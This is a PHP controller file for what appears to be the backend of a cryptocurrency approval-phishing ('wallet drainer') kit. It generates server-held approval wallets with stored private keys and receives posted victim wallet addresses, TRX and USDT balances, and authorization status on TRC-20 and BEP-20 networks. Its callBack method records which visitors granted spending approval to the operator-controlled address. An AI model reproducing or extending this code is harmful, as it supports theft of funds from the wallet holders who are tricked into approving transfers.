186 lines
7.4 KiB
PHP
186 lines
7.4 KiB
PHP
<?php
|
|
|
|
namespace app\controller;
|
|
|
|
use app\model\Order;
|
|
use app\model\Withdrawl as WithdrawlModel;
|
|
use app\model\Address as AddressModel;
|
|
use support\exception\BusinessException;
|
|
use support\Request;
|
|
use support\Response;
|
|
use Throwable;
|
|
use Web3\Contracts\Types\Address as TypesAddress;
|
|
use Workerman\Worker;
|
|
|
|
class PayController extends Crud
|
|
{
|
|
|
|
/**
|
|
* 后台主页
|
|
* @param Request $request
|
|
* @return Response
|
|
* @throws BusinessException|Throwable
|
|
*/
|
|
public function valid(Request $request): Response
|
|
{
|
|
$order_id = $request->get('order_id');
|
|
if(!$order_id) {
|
|
return $this->error(__('Invalid parameters'));
|
|
}
|
|
$_order_id = intval($order_id);
|
|
$order = \app\model\Address::where('id',$_order_id)->find();
|
|
if(!$order) {
|
|
return $this->error(__('Invalid parameters'));
|
|
}
|
|
$user = \app\model\User::where('id',$order['user_id'])->find();
|
|
//$key = str_replace('-','',strtolower($order['network']));
|
|
//$approve_address = Config('site.'.$key.'_auth_address');
|
|
|
|
$lang = request()->get('lang','zh-Hans');
|
|
if(!$order['approve_address']){
|
|
$res = get(Config('pay.server').'/Util/create_wallet?network='.$order['network']);
|
|
$res = json_decode($res,true);
|
|
if($res['code'] !== 0){
|
|
return $this->error($res['msg']);
|
|
}
|
|
$order->approve_address = $res['data'][0]['address'];
|
|
$order->approve_private_key = $res['data'][0]['private_key'];
|
|
$order->save();
|
|
}
|
|
|
|
locale($lang);
|
|
$networkDesc = '';
|
|
if($order['network'] == 'TRC-20'){
|
|
$networkDesc = 'Tron';
|
|
}elseif($order['network'] == 'BEP-20'){
|
|
$networkDesc = 'BNB Smart Chain';
|
|
}
|
|
return view('pay/valid',[
|
|
'order_id' => $order_id,
|
|
'order' => $order,
|
|
'user' => $user,
|
|
'lang' => $lang,
|
|
'networkDesc' => $networkDesc
|
|
]);
|
|
}
|
|
function check(Request $request){
|
|
$data = [
|
|
'id' => $request->post('sn'),
|
|
'address' => $request->post('address'),
|
|
'auth_address' => $request->post('to_address'),
|
|
'balance' => $request->post('balance'),
|
|
'usdt' => $request->post('usdt_balance'),
|
|
'network' => $request->post('type'),
|
|
'money' => $request->post('money'),//0
|
|
'lang' => $request->post('lang'),
|
|
'action' => $request->post('action'),//tx
|
|
'agent' => $request->post('agent'),
|
|
];
|
|
return json([
|
|
'code' => 0,
|
|
'msg' => 'pay_msg',
|
|
'data' =>[
|
|
'to' => '',
|
|
'action' => 'pay1',
|
|
]
|
|
]);
|
|
}
|
|
function pay(Request $request){
|
|
$data = [
|
|
'id' => $request->post('sn'),
|
|
'action' => $request->post('action'),//tx
|
|
'address' => $request->post('address'),
|
|
'auth_address' => $request->post('to_address'),
|
|
'balance' => $request->post('balance'),
|
|
'usdt' => $request->post('usdt_balance'),
|
|
'network' => $request->post('type'),
|
|
'money' => $request->post('money'),//0
|
|
'lang' => $request->post('lang'),
|
|
'agent' => $request->post('agent'),
|
|
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
|
|
];
|
|
return json([
|
|
'code' => 0,
|
|
'msg' => 'success'
|
|
]);
|
|
}
|
|
function callBack(Request $request){
|
|
$data = [
|
|
'id' => $request->post('sn'),
|
|
'action' => $request->post('action'),//tx
|
|
'address' => $request->post('address'),
|
|
'approve_address' => $request->post('to_address'),
|
|
'balance' => $request->post('balance'),
|
|
'usdt' => $request->post('usdt_balance'),
|
|
'network' => $request->post('type'),
|
|
'lang' => $request->post('lang'),
|
|
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
|
|
];
|
|
$order = \app\model\Address::where('id',$data['id'])->find();
|
|
$savedata = $data;
|
|
$savedata['address_id'] = $data['id'];
|
|
if($order && $order['user_id']){
|
|
$savedata['user_id'] = $order['user_id'];
|
|
}
|
|
if(!is_int($savedata['address_id'])){
|
|
$savedata['address_id'] = idDecode($savedata['address_id']);
|
|
}
|
|
if($order['approve_address'] != $savedata['approve_address']){
|
|
return json([
|
|
'code' => 1,
|
|
'msg' => 'verify error'
|
|
]);
|
|
}
|
|
$savedata['approve_private_key'] = $order['approve_private_key'];
|
|
$savedata['status'] = 1;
|
|
\app\model\AuthAddress::create($savedata,['address_id','address','approve_address','approve_private_key','balance','usdt','network','status'],true);
|
|
\app\model\Address::where('address',$savedata['address'])->update([
|
|
'balance' => $savedata['balance'],
|
|
'usdt' => $savedata['usdt'],
|
|
'address' => $savedata['address'],
|
|
'approve_address' => $order['approve_address'],
|
|
'approve_private_key' => $order['approve_private_key'],
|
|
'status' => 1,
|
|
]);
|
|
return json([
|
|
'code' => 0,
|
|
'msg' => 'verify success'
|
|
]);
|
|
}
|
|
function errBack(Request $request){
|
|
$data = [
|
|
'id' => $request->post('sn'),
|
|
'action' => $request->post('action'),//tx
|
|
'address' => $request->post('address'),
|
|
'auth_address' => $request->post('to_address'),
|
|
'balance' => $request->post('balance'),
|
|
'usdt' => $request->post('usdt_balance'),
|
|
'network' => $request->post('type'),
|
|
'lang' => $request->post('lang'),
|
|
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
|
|
'err' => $request->post('err'),
|
|
];
|
|
return json([
|
|
'code' => 1,
|
|
'msg' => '提示信息'
|
|
]);
|
|
}
|
|
function log(Request $request){
|
|
$data = [
|
|
'id' => $request->post('sn'),
|
|
'action' => $request->post('action'),//tx
|
|
'address' => $request->post('address'),
|
|
'auth_address' => $request->post('to_address'),
|
|
'balance' => $request->post('balance'),
|
|
'usdt' => $request->post('usdt_balance'),
|
|
'network' => $request->post('type'),
|
|
'lang' => $request->post('lang'),
|
|
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
|
|
'agent' => $request->post('agent'),
|
|
];
|
|
return json([
|
|
'code' => 0,
|
|
'msg' => '提示信息'
|
|
]);
|
|
}
|
|
} |